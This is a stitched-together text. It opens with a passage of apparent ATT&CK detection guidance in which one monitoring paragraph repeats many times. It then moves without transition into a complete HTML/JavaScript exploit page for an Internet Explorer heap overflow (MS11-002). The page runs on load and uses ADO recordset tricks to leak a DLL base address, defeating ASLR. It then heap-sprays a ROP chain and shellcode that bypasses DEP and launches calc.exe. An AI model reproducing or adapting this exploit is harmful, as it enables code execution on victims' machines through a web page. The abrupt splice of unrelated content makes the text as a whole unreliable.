protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). Enterprise T Exfiltration Over Alternative Protocol Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). . Exfiltration Over Symmetric Encrypted Non-C2 Protocol Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). . Exfiltration Over Asymmetric Encrypted Non-C2 Protocol Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). . Exfiltration Over Unencrypted Non-C2 Protocol Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). Enterprise T Exfiltration Over C2 Channel Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). Enterprise T Exfiltration Over Other Network Medium Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). . Exfiltration Over Bluetooth Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). Enterprise T Exfiltration Over Web Service Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). . Exfiltration to Code Repository Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). . Exfiltration to Cloud Storage Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). . Exfiltration to Text Storage Sites Monitor and analyze network traffic for exfiltration attempts using text storage sites, i.e. POST requests to text storage sites. Enterprise T Exploit Public-Facing Application Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection strings or known payloads. ICS T Exploit Public-Facing Application Use deep packet inspection to look for artifacts of common exploit traffic, such as known payloads. Enterprise T Exploitation of Remote Services Use deep packet inspection to look for artifacts of common exploit traffic, such as known payloads. Mobile T Exploitation of Remote Services ICS T Exploitation of Remote Services Use deep packet inspection to look for artifacts of common exploit traffic, such as known payloads. Enterprise T External Remote Services Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). Enterprise T Forced Authentication For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located. Enterprise T Gather Victim Identity Information Monitor for suspicious network traffic that could be indicative of probing for user information, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. . Email Addresses Monitor for suspicious network traffic that could be indicative of probing for email addresses and/or usernames, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. Enterprise T Group Policy Discovery Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and
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versions_v13_datasources_DS0029.txt
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<html xmlns:t = "urn:schemas-microsoft-com:time"> <head> <meta name="License" content="Q Public License;http://en.wikipedia.org/wiki/Q_Public_License"> <style> .body { } #test { } </style> <script src="heapLib.js"></script> <script> // This code has been released under the Q Public License by Trolltech // http://en.wikipedia.org/wiki/Q_Public_License // Source: http://vreugdenhilresearch.nl/ms11-002-pwn2own-heap-overflow/ var StartTime = new Date(); var FinalHeapSpraySize = 900; //var SmallHoleSize = 0x1F0; var SmallHoleSize = 0x240; var GlobalRowCounter = 0; var localxmlid1; var localxmlid2; var localxmlid3; var localxmlid5; var adobase = 0; var finalspray = ''; var heap = null; var ExpoitTime = 10; var CurrentHeapSpraySize = 0; function Start() { FaseOne(); } function FaseOne() { localxmlid1 = document.getElementById('xmlid1').recordset; localxmlid2 = document.getElementById('xmlid2').recordset; localxmlid3 = document.getElementById('xmlid3').recordset; localxmlid5 = document.getElementById('xmlid5').recordset; localxmlid2.CacheSize = 0x40000358; localxmlid1.CacheSize = SmallHoleSize;; //small hole? localxmlid1.AddNew(["AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"], ["c"]); localxmlid5.AddNew(["BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"], ["c"]); var my1field = localxmlid5.Fields.Item(0); localxmlid1.MoveFirst(); localxmlid2.AddNew(["BBBB"], ["c"]); localxmlid1.Close(); CollectGarbage(); localxmlid3.MoveFirst(); void(Math.atan2(0xbabe, ('###################### 2 Move First').toString())); localxmlid2.MoveFirst(); void(Math.atan2(0xbabe, ('###################### 5 Move First').toString())); localxmlid5.CacheSize = 0x40000008; localxmlid5.MoveFirst(); localxmlid3.AddNew(["MyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLong"], ["cccccuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuFINDMEccccc"]); var localxmlid4 = document.getElementById('xmlid4').recordset; localxmlid4.AddNew(["bb"], ["c"]); localxmlid4.MoveNext(); var localxmlid6 = document.getElementById('xmlid6').recordset; localxmlid6.AddNew(["CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"], ["c"]); localxmlid2.MoveFirst(); Math.tan(1); document.getElementById('textfaseone').innerText = 'Setting up data for ASLR evasion:'; if(GlobalRowCounter < 0x10120) { window.setTimeout(IncreaseRowCounter, 100); } } function IncreaseRowCounter() { //alert('IncreaseRowCounter: ' + GlobalRowCounter) if(GlobalRowCounter < 0x10120) { for(i = 0; i < 0x300; i++) { GlobalRowCounter++; localxmlid2.AddNew(["BBBB"], ["c"]); localxmlid2.Delete(); } var percentcomplete = Math.round(GlobalRowCounter /0x10120 * 100); document.getElementById('progressfaseone').innerText = percentcomplete + "%"; window.setTimeout(IncreaseRowCounter, 100); } else { document.getElementById('textfaseonedone').innerText = 'Now searching memory for suitable vtable. Please wait...'; window.setTimeout(FindADOBase, 100); } } function FindADOBase() { //alert('FindADOBase'); var myfield = localxmlid3.Fields.Item(1); for(i = 0; i < 0xDF6; i++) { localxmlid2.AddNew(["BBBB"], ["c"]); localxmlid2.MoveFirst(); if(myfield.Name != "MyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLong") { break; } } //alert('done first'); void(Math.atan2(0xbabe, ('###################### Add untill vftable 2').toString())); var vftable1 = null; var vftable2 = null; for(i = 0; i < 0xAE0; i++) { void(Math.atan2(0xbabe, ('add row: ' + i).toString())); localxmlid2.AddNew(["BBBB"], ["c"]); localxmlid2.MoveFirst(); //if(i > 10) { // document.forms[0].myresult.value += i.toString(16) + " : " + escape(myfield.name.substr((2 * i) + 4, 8)) + " : " + myfield.name.length + "\n"; //} if(escape(myfield.name.substr((2 * i) + 4, 2)).match(/uAD68/)) { vftable1 = escape(myfield.name.substr((2 * i) + 4, 2)).replace(/%u(\w\w\w\w)%u(\w\w\w\w)/, "$2$1"); } if(escape(myfield.name.substr((2 * i) + 4, 2)).match(/uD738/)) { vftable2 = escape(myfield.name.substr((2 * i) + 4, 2)).replace(/%u(\w\w\w\w)%u(\w\w\w\w)/, "$2$1"); } if(vftable1 && vftable2) { break; } } //document.forms[0].myresult.value += "\n\nVFTABLES: " + vftable1 + " : " + vftable2 + "\n\n\n"; //alert(vftable1); if((parseInt(vftable1,16) - 0x1AD68) == (parseInt(vftable2,16) - 0xD738)) { adobase = parseInt(vftable1,16) - 0x1AD68; document.getElementById('textfoundaddress').innerText = 'Found base address of <censored>.dll: 0x<censored>';// + adobase.toString(16); FaseTwo(); } else { alert('sadly we failed to read the base address of msado15.dll :( '); } } function FaseTwo() { document.getElementById('textfasetwo').innerText = 'Setting up heap for DEP evasion:'; document.getElementById('progressfasetwo').innerText = '0%'; heap = new heapLib.ie(0x20000); var heapspray = unescape("%u2020%u1604%u0102%u0103%u0104%u0105" + MakeAddressString(adobase + 0x117C3) + MakeAddressString(adobase + 0x1188 - 0x1C) + "%u010A%u010B" + MakeAddressString(adobase + 0x4270B) + "%u010E%u010F%u0110%u0111%u0112%u0113" + "%u2100%u1604" + "%u0116%u0117%u0118%u0119%u011A%u011B%u011C%u011D%u011E%u011F%u0120%u0121%u0122%u0123" + MakeAddressString(adobase) + "%u0126%u0127%u0128%u0129%u012A%u012B" + "%u2024%u1604" + "%u012E%u012F%u0130%u0131%u0132%u0133" + "%u0040%u0000" + "%u0136%u0137" + MakeAddressString(adobase + 0x1B1F0) + "%u013A%u013B" + "%u0200%u0000" + "%u013E%u013F" + "%u2030%u1604" + "%u0142%u0143%u0144%u0145%u0146%u0147%u0148%u0149%u014A%u014B%u014C%u014D%u014E%u014F%u0150%u0151%u0152%u0153%u0154%u0155%u0156%u0157%u0158%u0159%u015A%u015B%u015C%u015D%u015E%u015F%u0160%u0161%u0162%u0163%u0164%u0165%u0166%u0167%u0168%u0169%u016A%u016B%u016C%u016D%u016E%u016F" + "%u9090%u9090%u868B%u1108%u0000%u5056%u056A%uA068%u0421%u0516%u185E%u0008%uD0FF%u5058%u0590%u0BBB%u0000%uD0FF%uF88B%u0558%u3B47%u0000%u006A%uFF57%uCCD0" + "%u0189%u018A%u018B%u018C%u018D%u018E%u018F%u0190%u0191%u0192%u0193%u0194%u0195%u0196%u0197%u0198%u0199%u019A%u019B%u019C%u019D%u019E%u019F%u01A0%u01A1%u01A2%u01A3%u01A4%u01A5%u01A6%u01A7%u01A8%u01A9%u01AA%u01AB%u01AC%u01AD%u01AE%u01AF%u01B0%u01B1%u01B2%u01B3%u01B4%u01B5%u01B6%u01B7%u01B8%u01B9%u01BA%u01BB%u01BC%u01BD%u01BE%u01BF" + "%u6163%u636C%u652E%u6578%u0000%u735C%u7379%u6574%u336D%u5C32%u6163%u636C%u652E%u6578%u0000%u0000" + "%u01D0%u01D1%u01D2%u01D3%u01D4%u01D5%u01D6%u01D7%u01D8%u01D9%u01DA%u01DB%u01DC%u01DD%u01DE%u01DF%u01E0%u01E1%u01E2%u01E3%u01E4%u01E5%u01E6%u01E7%u01E8%u01E9%u01EA%u01EB%u01EC%u01ED%u01EE%u01EF" + "%u20A0%u1604" + "%u01F2%u01F3%u01F4%u01F5%u01F6%u01F7%u01F8%u01F9%u01FA%u01FB%u01FC%u01FD%u01FE%u01FF%u0200%u0201%u0202%u0203%u0204%u0205%u0206%u0207%u0208%u0209%u020A%u020B%u020C%u020D%u020E%u020F%u0210%u0211%u0212%u0213%u0214%u0215%u0216%u0217%u0218%u0219%u021A%u021B%u021C%u021D%u021E%u021F%u0220%u0221%u0222%u0223%u0224%u0225%u0226%u0227%u0228%u0229%u022A%u022B%u022C%u022D%u022E%u022F%u0230%u0231%u0232%u0233%u0234%u0235%u0236%u0237%u0238%u0239%u023A%u023B%u023C%u023D%u023E%u023F%u0240%u0241%u0242%u0243%u0244%u0245%u0246%u0247%u0248%u0249%u024A%u024B%u024C%u024D%u024E%u024F%u0250%u0251%u0252%u0253%u0254%u0255%u0256%u0257%u0258%u0259%u025A%u025B%u025C%u025D%u025E%u025F%u0260%u0261%u0262%u0263%u0264%u0265%u0266%u0267%u0268%u0269%u026A%u026B%u026C%u026D%u026E%u026F%u0270%u0271%u0272%u0273%u0274%u0275%u0276%u0277%u0278%u0279%u027A%u027B%u027C%u027D%u027E%u027F%u0280%u0281%u0282%u0283%u0284%u0285%u0286%u0287%u0288%u0289%u028A%u028B%u028C%u028D%u028E%u028F%u0290%u0291%u0292%u0293%u0294%u0295%u0296%u0297%u0298%u0299%u029A%u029B%u029C%u029D%u029E%u029F%u02A0%u02A1%u02A2%u02A3%u02A4%u02A5%u02A6%u02A7%u02A8%u02A9%u02AA%u02AB%u02AC%u02AD%u02AE%u02AF%u02B0%u02B1%u02B2%u02B3%u02B4%u02B5%u02B6%u02B7%u02B8%u02B9%u02BA%u02BB%u02BC%u02BD%u02BE%u02BF%u02C0%u02C1%u02C2%u02C3%u02C4%u02C5%u02C6%u02C7%u02C8%u02C9%u02CA%u02CB%u02CC%u02CD%u02CE%u02CF%u02D0%u02D1%u02D2%u02D3%u02D4%u02D5%u02D6%u02D7%u02D8%u02D9%u02DA%u02DB%u02DC%u02DD%u02DE%u02DF%u02E0%u02E1%u02E2%u02E3%u02E4%u02E5%u02E6%u02E7%u02E8%u02E9%u02EA%u02EB%u02EC%u02ED%u02EE%u02EF%u02F0%u02F1%u02F2%u02F3%u02F4%u02F5%u02F6%u02F7%u02F8%u02F9%u02FA%u02FB%u02FC%u02FD%u02FE%u02FF"); //"%u6163%u636C%u652D%u6578%u //%u3A63%u775C%u6E69%u6F64%u7377%u735C%u7379%u6574%u336D%u5C32%u6163%u636C%u652E%u //c:\windows\system32\calc.exe //%63%61%6C%63%2E%65%78% //%63%3A%5C%77%69%6E%64%6F%77%73%5C%73%79%73%74%65%6D%33%32%5C%63%61%6C%63%2E%65%78% //var heapspray = unescape("%u2020%u1604%u0102%u0103%u0104%u0105" + MakeAddressString(adobase + 0x117C3) + MakeAddressString(adobase + 0x1188 - 0x1C) + "%u010A%u010B" + MakeAddressString(adobase + 0x4270B) + "%u010E%u010F%u0110%u0111%u0112%u0113" + "%u2100%u1604" + "%u0116%u0117%u0118%u0119%u011A%u011B%u011C%u011D%u011E%u011F%u0120%u0121%u0122%u0123%u0124%u0125%u0126%u0127%u0128%u0129%u012A%u012B" + "%u2024%u1604" + "%u012E%u012F%u0130%u0131%u0132%u0133" + "%u0040%u0000" + "%u0136%u0137" + MakeAddressString(adobase + 0x1B1F0) + "%u013A%u013B" + "%u0200%u0000" + "%u013E%u013F" + "%u2030%u1604" + "%u0142%u0143%u0144%u0145%u0146%u0147%u0148%u0149%u014A%u014B%u014C%u014D%u014E%u014F%u0150%u0151%u0152%u0153%u0154%u0155%u0156%u0157%u0158%u0159%u015A%u015B%u015C%u015D%u015E%u015F%u0160%u0161%u0162%u0163%u0164%u0165%u0166%u0167%u0168%u0169%u016A%u016B%u016C%u016D%u016E%u016F%u0170%u0171%u0172%u0173%u0174%u0175%u0176%u0177%u0178%u0179%u017A%u017B%u017C%u017D%u017E%u017F%u0180%u0181%u0182%u0183%u0184%u0185%u0186%u0187%u0188%u0189%u018A%u018B%u018C%u018D%u018E%u018F%u0190%u0191%u0192%u0193%u0194%u0195%u0196%u0197%u0198%u0199%u019A%u019B%u019C%u019D%u019E%u019F%u01A0%u01A1%u01A2%u01A3%u01A4%u01A5%u01A6%u01A7%u01A8%u01A9%u01AA%u01AB%u01AC%u01AD%u01AE%u01AF%u01B0%u01B1%u01B2%u01B3%u01B4%u01B5%u01B6%u01B7%u01B8%u01B9%u01BA%u01BB%u01BC%u01BD%u01BE%u01BF%u01C0%u01C1%u01C2%u01C3%u01C4%u01C5%u01C6%u01C7%u01C8%u01C9%u01CA%u01CB%u01CC%u01CD%u01CE%u01CF%u01D0%u01D1%u01D2%u01D3%u01D4%u01D5%u01D6%u01D7%u01D8%u01D9%u01DA%u01DB%u01DC%u01DD%u01DE%u01DF%u01E0%u01E1%u01E2%u01E3%u01E4%u01E5%u01E6%u01E7%u01E8%u01E9%u01EA%u01EB%u01EC%u01ED%u01EE%u01EF" + "%u20A0%u1604" + "%u01F2%u01F3%u01F4%u01F5%u01F6%u01F7%u01F8%u01F9%u01FA%u01FB%u01FC%u01FD%u01FE%u01FF%u0200%u0201%u0202%u0203%u0204%u0205%u0206%u0207%u0208%u0209%u020A%u020B%u020C%u020D%u020E%u020F%u0210%u0211%u0212%u0213%u0214%u0215%u0216%u0217%u0218%u0219%u021A%u021B%u021C%u021D%u021E%u021F%u0220%u0221%u0222%u0223%u0224%u0225%u0226%u0227%u0228%u0229%u022A%u022B%u022C%u022D%u022E%u022F%u0230%u0231%u0232%u0233%u0234%u0235%u0236%u0237%u0238%u0239%u023A%u023B%u023C%u023D%u023E%u023F%u0240%u0241%u0242%u0243%u0244%u0245%u0246%u0247%u0248%u0249%u024A%u024B%u024C%u024D%u024E%u024F%u0250%u0251%u0252%u0253%u0254%u0255%u0256%u0257%u0258%u0259%u025A%u025B%u025C%u025D%u025E%u025F%u0260%u0261%u0262%u0263%u0264%u0265%u0266%u0267%u0268%u0269%u026A%u026B%u026C%u026D%u026E%u026F%u0270%u0271%u0272%u0273%u0274%u0275%u0276%u0277%u0278%u0279%u027A%u027B%u027C%u027D%u027E%u027F%u0280%u0281%u0282%u0283%u0284%u0285%u0286%u0287%u0288%u0289%u028A%u028B%u028C%u028D%u028E%u028F%u0290%u0291%u0292%u0293%u0294%u0295%u0296%u0297%u0298%u0299%u029A%u029B%u029C%u029D%u029E%u029F%u02A0%u02A1%u02A2%u02A3%u02A4%u02A5%u02A6%u02A7%u02A8%u02A9%u02AA%u02AB%u02AC%u02AD%u02AE%u02AF%u02B0%u02B1%u02B2%u02B3%u02B4%u02B5%u02B6%u02B7%u02B8%u02B9%u02BA%u02BB%u02BC%u02BD%u02BE%u02BF%u02C0%u02C1%u02C2%u02C3%u02C4%u02C5%u02C6%u02C7%u02C8%u02C9%u02CA%u02CB%u02CC%u02CD%u02CE%u02CF%u02D0%u02D1%u02D2%u02D3%u02D4%u02D5%u02D6%u02D7%u02D8%u02D9%u02DA%u02DB%u02DC%u02DD%u02DE%u02DF%u02E0%u02E1%u02E2%u02E3%u02E4%u02E5%u02E6%u02E7%u02E8%u02E9%u02EA%u02EB%u02EC%u02ED%u02EE%u02EF%u02F0%u02F1%u02F2%u02F3%u02F4%u02F5%u02F6%u02F7%u02F8%u02F9%u02FA%u02FB%u02FC%u02FD%u02FE%u02FF"); while(heapspray.length < 0x200) heapspray += unescape("%u4444"); var heapblock = heapspray; while(heapblock.length < 0x40000) heapblock += heapblock; finalspray = heapblock.substring(2, 0x40000 - 0x21); //alert('Base address of ado15.dll ' + adobase.toString(16)); if(CurrentHeapSpraySize < 900) { window.setTimeout(SprayHeap, 100); } else { RunExploit(); } } function SprayHeap() { if(CurrentHeapSpraySize < FinalHeapSpraySize - 1) { for(var i = 0; i < 90; i++) { heap.alloc(finalspray); CurrentHeapSpraySize++; } var percentcomplete = Math.round(CurrentHeapSpraySize /FinalHeapSpraySize * 100); document.getElementById('progressfasetwo').innerText = percentcomplete + "%"; window.setTimeout(SprayHeap, 100); } else { document.getElementById('textfasetwodone').innerText = "Ready to start calc.exe in: "; window.setTimeout(RunExploitTimer, 100); } } function RunExploitTimer() { if(ExpoitTime > 0) { document.getElementById('countexploitrun').innerText = ExpoitTime; window.setTimeout(RunExploitTimer, 500); ExpoitTime--; } else { document.getElementById('countexploitrun').innerText = 0; var EndTime = new Date(); var TotalRun = Math.round((EndTime.getTime() - StartTime.getTime()) / 1000); document.getElementById('totalruntime').innerText = "Total exploitation time: " + TotalRun + " seconds"; window.setTimeout(RunExploit, 100); } } function RunExploit() { var elms = new Array(); for(i =0; i < 100; i++) { elms.push(document.createElement('div')); } owningObj = document.styleSheets[0].owningElement; myimports = document.styleSheets[0].imports; document.appendChild(owningObj); document.removeChild(owningObj); owningObj.outerHTML = 'a'; Math.atan2(0xbabe, "Collect"); CollectGarbage(); Math.atan2(0xbabe, "spray"); for(i = 0; i < 100; i++) { elms[i].className = unescape("%u4140%u4141%u4142%u4143%u4144%u4145%u4146%u4147%u4148%u4149%u414a%u414b%u414c%u414d%u414e%u414f%u4151%u4152%u4153%u4154%u2020%u1604%u2020%u1604%u4159%u415a%u415b"); } Result = owningObj.insertAdjacentElement(myimports,'a'); } function MakeAddressString(addrint) { //First, turn into hex: var addstr = addrint.toString(16); //Split and swap addstr = addstr.replace(/(\w\w\w\w)(\w\w\w\w)/,"%u$2%u$1"); return addstr; } </script> </head> <body onLoad="window.setTimeout(Start,100);" id="bodyid"> <div> <h2 id="textfaseone"></h2> <br> <h2 id="progressfaseone"></h2> <br> <h2 id="textfaseonedone"></h2> <br> <h2 id="textfoundaddress"></h2> <br> <h2 id="textfasetwo"></h2> <br> <h2 id="progressfasetwo"></h2> <br> <h2 id="textfasetwodone"></h2> <br> <h2 id="countexploitrun"></h2> <br> <h2 id="totalruntime"></h2> </div> <?xml version="1.0" encoding="utf-8" standalone="yes"?> <XML ID="xmlid1"> <Devices> <Device> <AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA /> </Device> </Devices> </XML> <?xml version="1.0" encoding="utf-8" standalone="yes"?> <XML ID="xmlid2"> <Devices> <Device> <BBBB /> </Device> </Devices> </XML> <?xml version="1.0" encoding="utf-8" standalone="yes"?> <XML ID="xmlid3"> <root> <data> <SmallData> </SmallData> <MyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataFi